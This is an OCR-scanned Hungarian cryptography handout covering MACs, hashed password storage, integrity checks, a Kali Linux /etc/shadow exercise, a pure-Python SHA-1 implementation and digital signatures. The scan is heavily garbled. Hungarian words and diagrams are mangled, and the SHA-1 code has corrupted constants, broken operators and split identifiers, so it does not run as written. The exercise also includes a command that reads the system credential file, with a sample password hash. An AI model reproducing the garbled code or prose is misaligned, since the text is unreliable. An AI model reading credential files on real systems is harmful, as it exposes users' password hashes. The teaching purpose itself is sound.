Alapvetéen a MAC a sima szdveges Uzenet titkositott ellenérzd 6sszege, amit az izenethez
csatoltak annak hitelesitése érdekében. A vevd kiszamitja a fogadott Gzenet MAC -jat. Ha a



szamitott MAC megegyezik, akkor az tizenet elfogadhaté. Ha a kiszamitott MAC nem egyezik,
akkor nem lehet megallapitani, hogy az lzenet vagy a forras valodi -e.

A MAC, ugyanugy, mint a hash fuggvények, rogzitett hosszusagu kimenetet general az
Uzenetbdl-. A kilonbség az, hogy a MAC titkos kulcsot hasznal a kimenet generalashoz. A
folyamat f6 jellemzdje, hogy a MAC algoritmus nyilvanos, a MAC értéket a titkos kulcs hozza
létre.

Hatranya:

e+ grésztvevot elére ismerni kell,

* a titkos kulcsot elére meg kell allapitani és meg kell osztani,

¢ + A MAC nem tudja bizonyitani, hogy a feladé kildte az lGzenetet,
* nem lehet megallapitani, hogy melyik fél generalta a MAC -t.

Kulcs

Fogado
. MAC
Kuldd Uzenet MAC algoritmus
Uzenet MAC
) N e
; MAC algoritmus » Egyezik 7

MAC kiterjesztés

A felad¢ titkosithatja a tartalmat, miel6tt elkildi a halézaton. Ily médon az Gzenet bizalmas
lesz.

MAC kulcs

Fogado

Kiildd

Titkositd kulcs 315 sthatd MAC
Halozaton lathatd -
S Titkositott izenet |l —>| MAC algerimus “‘ N ‘

B sziveq : _—
l —

» MAC J i
MAC algoritmus Titkositas » Egyenld?

[N
T I Dekbdold kulcs

Uzenet

Jelszo tarolas

A hash funkcidk védik a jelszétarolast. Ahelyett, hogy a jelszdt egyszerl szdvegként
tarolnank., a jelszavak hash értékeit taroljuk az adatbazisban.



A jelsz6féjl egy olyan tablazatbol all, amely a

(user_identifier, hash(PASSWORD))

parokat tarolja.
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Dintés

Adatintegritas ellendrzése

A hash funkcidkat széles korben hasznaljak az adatok integritasanak ellen6rzésére. A hash
fuggvény az adatok ellen6érz6 dsszegeinek elballitasara szolgal.

AN

Eredeti adat

l

Hash algoritmus

l

Hash érték

((t”n))

Hdlozat

((tﬂr))

Eredeti adat
—

Y

Szamitott hash értek
Hash algoritmus Zamilolt hash erls

h 4

Y

» Megkapott hash érték




Ha az eredeti adatokat modositjak, akkor az ellenérzd 6sszeg nem egyezik. Ha azonban a
tamadd modosithatja mind az adatokat, mind az ellenérzé dsszeget, akkor az eredetiség nem
ellendrizhet6

Példafeladat
Jelszofajl helye és tartalma Kali Linuxban

A Kali a jelszé adatokat az /etc /shadow fajlban tarolja. Csak root felhasznaldk irhatjak a fajlt.
A fajl a felhasznaldnevet, a jelszé hashét, a jelszé megvaltoztatasanak datumat, a lejarati
datumot stb. Kettésponttal (:) elvalasztva tarolja.

A lekérdezéséhez gépeljik be:
sudo cat /etc/shadow

kali:$6$GHNiMeXhVU70giNI$vpm87wqg/tB5X5rABMYnsw8ssB7iyW.9gh5m/drfTmMJdvRtAr
B/3Xtyan1/DmOeBdpxs9cfKaDtOn15nqupvn/:18583:0:99999:7:::

Value Meaning

$6% A két $ jel kezdete kozotti érték a hasznalt
hash algoritmust jelenti. Itt a 6. szam a sha-
512 hasznalatat jelenti.
$GHNiIMeXhVU70giNI$ a masodik és harmadik $ kozti szoveg a s6
vpm87wq/tB5X5rA8MYnsw8ssB7iyW.9ghbm/ | Hash-elt jelszé
drfTmMJdvRtArB/3Xtyanl/
DmOeBdpxs9cfKaDtOn15nqupvn/:

Generaljuk le a ,kali” felhasznalé jelszavat

Python 2.7.18 (default, Apr 20 2020, 20:30:41)

[GCC 9.3.0] on linux?2

Type "help", "copyright", "credits" or "license" for more information.
>>> import crypt

>>> password="kali"

>>> hashing scheme with salt="$6$GHNiMeXhVU70giN1$"

>>> crypt.crypt (password, hashing scheme with salt)

'$63GHNiIMeXhVU70giNI$vpm87wg/tB5X5rA8MYnsw8ssB7iyW.9gh5m/drfTmMJdvRtArB/3
Xtyan1/DmOeBdpxs9cfKaDtOn15nqupvn/

>>>

Egy native python implementacio:
#!/usr/bin/env python

from _ future_ import print function
import struct

import io

try:




range = xrange
except NameError:

pass

def left rotate(n, b):
"""TLeft rotate a 32-bit integer n by b bits."""
return ((n << b) | (n >> (32 - b))) & OxfEfffffff

def process_chunk (chunk, h0, hl, h2, h3, h4):
"""pProcess a chunk of data and return the new digest variables.

assert len(chunk) == 64

# Break chunk into sixteen 4-byte big-endian words wl[i]
for i in range (16):
w[i] = struct.unpack(b'>I', chunk[i * 4:1 * 4 + 4])[0]

# Extend the sixteen 4-byte words into eighty 4-byte words
for i in range (16, 80):
w[i] = left rotate(w([i - 3] *~ w[i - 8] ~ w[i - 14] ~ w[i - 16], 1)

# Initialize hash value for this chunk
= ho
= hl
h2
= h3
= h4

o Q Qo o o
I

for i in range (80):
if 0 <= 1 <= 19:
# Use alternative 1 for f from FIPS PB 180-1 to avoid bitwise not
d” (b & (¢~ d))
k = 0x5A827999
elif 20 <= i <= 39:
f=b""c"™d
k = O0x6ED9EBA1l
elif 40 <= i <= 59:
f=(&c) | (b&d | (c&d
k = 0x8F1BBCDC
elif 60 <= i <= 79:
f=b"c”™d
k = 0xCA62C1D6

a, b, ¢, d, e = ((_left rotate(a, 5) + £ + e + k + w[i]) & OxEf£££ffff,
a, _left rotate(b, 30), c, d)

# Add this chunk's hash to result so far

hO = (hO + a) & OxEEEEEEEf
hl = (hl + b) & OxEEEEEEEf
h2 = (h2 + c) & OxEEEEEEEE
h3 = (h3 + d) & OxEEEEEEEE
h4 = (h4 + e) & OxEEEEEEEE

return h0O, hl, h2, h3, h4



class ShalHash (object) :

"""A class that mimics that hashlib api and implements the SHA-1 algorithm.

name = 'python-shal'
digest size = 20
block size = 64

def _ init (self):
# Initial digest variables
self. h = (
0x67452301,
OxEFCDABS9,
0x98BADCFE,
0x10325476,
0xC3D2E1FO,

# bytes object with 0 <= len < 64 used to store the end of the message

# 1if the message length is not congruent to 64

self. unprocessed = b'"'

# Length in bytes of all data that has been processed so far
self. message byte length = 0

def update(self, arg):
"""Update the current digest.

This may be called repeatedly, even after calling digest or hexdigest.

Arguments:
arg: bytes, bytearray, or BytesIO object to read from.
if isinstance (arg, (bytes, bytearray)):

arg = io.BytesIO(arg)

# Try to build a chunk out of the unprocessed data, if any

chunk = self. unprocessed + arg.read(64 - len(self. unprocessed))

# Read the rest of the data, 64 bytes at a time
while len (chunk) == 64:
self. h = process chunk(chunk, *self. h)
self. message_byte_ length += 64
chunk = arg.read(64)

self. unprocessed = chunk

return self

def digest(self):

"""Produce the final hash value (big-endian) as a bytes object"""

return b''.join(struct.pack(b'>I', h) for h in self. produce digest())

def hexdigest (self):
"""pProduce the final hash value (big-endian) as a hex string"""

return '%08x%08x%08x%08x%08x' % self. produce digest()

def _produce digest(self):

"""Return finalized digest variables for the data processed so far."""

# Pre-processing:



mes

mes

sage = self. unprocessed

sage byte length = self. message byte length + len (message)

# append the bit 'l' to the message

mes

sage += b'\x80'

# append 0 <= k < 512 bits '0', so that the resulting message length (in bytes)

# 1

mes

# append length of message

integer

mes

s congruent to 56 (mod 64)

sage += b'\x00' * ((56 - (message byte length + 1) % 64) % 64)

sage bit length = message byte length * 8

(before pre-processing), in bits, as 64-bit big-endian

message += struct.pack(b'>Q', message bit length)

# P
# A
h =
if

rocess the final chunk

t this point, the length of the message is either 64 or 128 bytes.
_process chunk (message[:64], *self. h)

len (message) == 64:

return h

return process chunk (message([64:], *h)

def shal (da
e gHA—

ta) :

1 Hashing Function

A custom SHA-1 hashing function implemented entirely in Python.

Argumen
dat
Returns
A h

return

if name

ts:
a: A bytes or BytesIO object containing the input message to hash.
ex SHA-1 digest of the input message.

ShalHash () .update (data) .hexdigest ()

== "' main_':

# Imports required for command line parsing. No need for these elsewhere

import
import

import
# Parse
parser

parser.

args =

data =
if len(
# N

argparse
sys
os

the incoming arguments
= argparse.ArgumentParser ()

add_argument ('input', nargs='*',

help="input file or message to hash')

parser.parse args()

None

args.input) ==

o argument given, assume message comes from standard input

try:

exc

# sys.stdin is opened in text mode, which can change line endings,

# leading to incorrect results. Detach fixes this issue, but it's

# new in Python 3.1
data = sys.stdin.detach ()

ept AttributeError:

# Linux ans OSX both use \n line endings,

so only windows is a



# problem.
if sys.platform == "win32":

import msvcrt

msvcrt.setmode (sys.stdin.fileno(), os.0O BINARY)
data = sys.stdin
# Output to console
print ('shal-digest:', shal (data))

else:
# Loop through arguments list
for argument in args.input:

if (os.path.isfile (argument)):

# An argument is given and it's a valid file Read
data = open (argument, 'rb')
# Show the final digest

print ('shal-digest:', shal(data))
else:

print ("Error, could not find " + argument + " file." )

Digitalis alairas
Az emberek kézzel irott alairasokat hasznalnak, hogy hitelesitsék:
o szerz8déseket (értékesités, biztositas, foglalkoztatas stb.)

e adminisztrativ dokumentumokat (addbevallasok, nyilatkozatok stb.)
e tranzakcidk (bankolas)

A digitalis vildgban is hasonlé technikara van szikség egy személy vagy barmely digitalis
entitds azonositasara.

Elektronikus alairas: elektronikus dokumentumhoz azonositas céljabdl logikailag
hozzarendelt és azzal elvalaszthatatlanul &sszekapcsolt elektronikus adat, illetleg
dokumentum (2001. évi XXXV. térvény az elektronikus alairasrol)

A nyilvanos kulcsu titkositas szilard alapja lehet a digitalis alairasi sémanak:

Privat kulcs / \
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‘ Hash ‘ Alairé Ellenérzé
fgv. .-algnrltmus | Alairas | algoritmus
A

Hash Myilvanos
kulcs

A munkafolyamat a kdvetkezé:




minden entitasnak van nyilvanos + privat kulcsparja

altalaban ezek a kulcsok eltéréek.

privat kulcsokat hasznalnak az alairashoz, nyilvanos kulcsokat az ellenérzéshez

a feladd generalja az adatok hash-ét

* az alairasi algoritmus a hash értékre és a privat kulcsra vonatkozik

* az adatokhoz alairas tartozik

* a kildendd csomag tartalmazza mind az adatokat, mind az alairast

» a vevd az adatokat és az alairast az ellen6rz6 algoritmusba helyezi, amely kivonatot
general

* ha a feladok és a fogadok hash -je azonos, akkor az alairas érvényes

A digitalis alairast a titkos privat kulccsal készitjik. Az eredeti szerz6 beazonosithato6.

Adat Titkos kulcs

Hash fgv.

Alaird
algoritmus

Hash

Az RSA -t altalaban alairasi algoritmusként hasznaljak. A nagyméretli dokumentum alairasa
idéigényes lenne. A dokumentum kivonata sokkal kisebb, igy a kivonat alairasa hatékonyabb,
mint a teljes dokumentum aldirasa.

A digitalis alairasok 6 felhasznalasi tertletei:

Uzenetek hitelesitése — a privat kulcsot a tulajdonosa ismeri, igy egy érvényes a
digitalis alairast csak a kulcs tulajdonosa készithet.

Adatintegritas ellenérzése — ha valaki modositia a dokumentumot, akkor a hash
kivonata megvaltozik, igy az ellenérzés eredménye az less, hogy a két dokumentum
eltér. Ezzel a cimzett ellenérizheti, hogy a dokumentum megvaltozott -e az alairas 6ta.
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